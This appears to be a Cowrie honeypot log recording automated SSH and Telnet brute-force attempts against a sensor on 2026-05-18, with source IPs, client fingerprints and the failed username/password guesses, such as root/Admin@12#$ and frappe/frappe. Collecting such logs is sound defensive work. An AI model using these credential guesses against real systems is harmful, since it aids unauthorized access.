{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":49474,"dst_ip":"159.203.135.109","dst_port":22,"session":"e05e96e05edc","protocol":"ssh","message":"New connection: 213.135.168.228:49474 (159.203.135.109:22) [session: e05e96e05edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:03.820109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:03.824768Z","src_ip":"213.135.168.228","session":"e05e96e05edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50806,"dst_ip":"159.203.135.109","dst_port":22,"session":"9112a68f6ca4","protocol":"ssh","message":"New connection: 176.65.132.129:50806 (159.203.135.109:22) [session: 9112a68f6ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:03.921920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:03.927599Z","src_ip":"176.65.132.129","session":"9112a68f6ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:03.956963Z","src_ip":"213.135.168.228","session":"e05e96e05edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:04.013494Z","src_ip":"176.65.132.129","session":"9112a68f6ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:04.261979Z","src_ip":"176.65.132.129","session":"9112a68f6ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:04.525292Z","src_ip":"213.135.168.228","session":"e05e96e05edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:05.347451Z","src_ip":"176.65.132.129","session":"9112a68f6ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":48498,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad610bb7acc","protocol":"ssh","message":"New connection: 45.162.8.14:48498 (10.17.0.5:22) [session: 2ad610bb7acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:05.629762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:05.636068Z","src_ip":"45.162.8.14","session":"2ad610bb7acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:05.661866Z","src_ip":"213.135.168.228","session":"e05e96e05edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:05.751294Z","src_ip":"45.162.8.14","session":"2ad610bb7acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52482,"dst_ip":"10.17.0.5","dst_port":22,"session":"975c3a74ab0c","protocol":"ssh","message":"New connection: 37.233.85.71:52482 (10.17.0.5:22) [session: 975c3a74ab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:06.106472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:06.111386Z","src_ip":"37.233.85.71","session":"975c3a74ab0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tt123456","message":"login attempt [root/Tt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:06.201733Z","src_ip":"45.162.8.14","session":"2ad610bb7acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:06.215815Z","src_ip":"37.233.85.71","session":"975c3a74ab0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hamster","message":"login attempt [root/hamster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:06.529077Z","src_ip":"37.233.85.71","session":"975c3a74ab0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49324,"dst_ip":"159.203.135.109","dst_port":22,"session":"a292dab39d84","protocol":"ssh","message":"New connection: 176.65.132.129:49324 (159.203.135.109:22) [session: a292dab39d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.056722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.061586Z","src_ip":"176.65.132.129","session":"a292dab39d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.143516Z","src_ip":"176.65.132.129","session":"a292dab39d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.321089Z","src_ip":"45.162.8.14","session":"2ad610bb7acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":34434,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec0b4d4721e","protocol":"ssh","message":"New connection: 122.166.167.154:34434 (159.203.135.109:22) [session: aec0b4d4721e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.336176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.340748Z","src_ip":"122.166.167.154","session":"aec0b4d4721e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.388711Z","src_ip":"176.65.132.129","session":"a292dab39d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.592672Z","src_ip":"122.166.167.154","session":"aec0b4d4721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:07.636692Z","src_ip":"37.233.85.71","session":"975c3a74ab0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:08.472894Z","src_ip":"176.65.132.129","session":"a292dab39d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12#$","message":"login attempt [root/Admin@12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:08.633792Z","src_ip":"122.166.167.154","session":"aec0b4d4721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132846832275,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:09.479228Z","src_ip":"152.42.224.71","session":"ce83d5bd509a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:09.891722Z","src_ip":"122.166.167.154","session":"aec0b4d4721e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49342,"dst_ip":"159.203.135.109","dst_port":22,"session":"301b1e1545a9","protocol":"ssh","message":"New connection: 176.65.132.129:49342 (159.203.135.109:22) [session: 301b1e1545a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:10.175846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:10.257135Z","src_ip":"176.65.132.129","session":"301b1e1545a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:10.340308Z","src_ip":"176.65.132.129","session":"301b1e1545a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:10.707752Z","src_ip":"176.65.132.129","session":"301b1e1545a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51736,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f443f13801","protocol":"telnet","message":"New connection: 152.42.224.71:51736 (10.17.0.5:23) [session: 53f443f13801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:11.768231Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:11.801904Z","src_ip":"176.65.132.129","session":"301b1e1545a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51744,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bc03e4176a8","protocol":"telnet","message":"New connection: 152.42.224.71:51744 (10.17.0.5:23) [session: 3bc03e4176a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:12.932545Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49358,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e0603838c9b","protocol":"ssh","message":"New connection: 176.65.132.129:49358 (159.203.135.109:22) [session: 9e0603838c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:13.490734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:13.496085Z","src_ip":"176.65.132.129","session":"9e0603838c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:13.580433Z","src_ip":"176.65.132.129","session":"9e0603838c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:13.834252Z","src_ip":"176.65.132.129","session":"9e0603838c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51754,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfd9952b5172","protocol":"telnet","message":"New connection: 152.42.224.71:51754 (10.17.0.5:23) [session: cfd9952b5172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:14.901289Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:14.923189Z","src_ip":"176.65.132.129","session":"9e0603838c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.824016094207764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:15.793507Z","src_ip":"152.42.224.71","session":"5758fe852332","protocol":"telnet"}
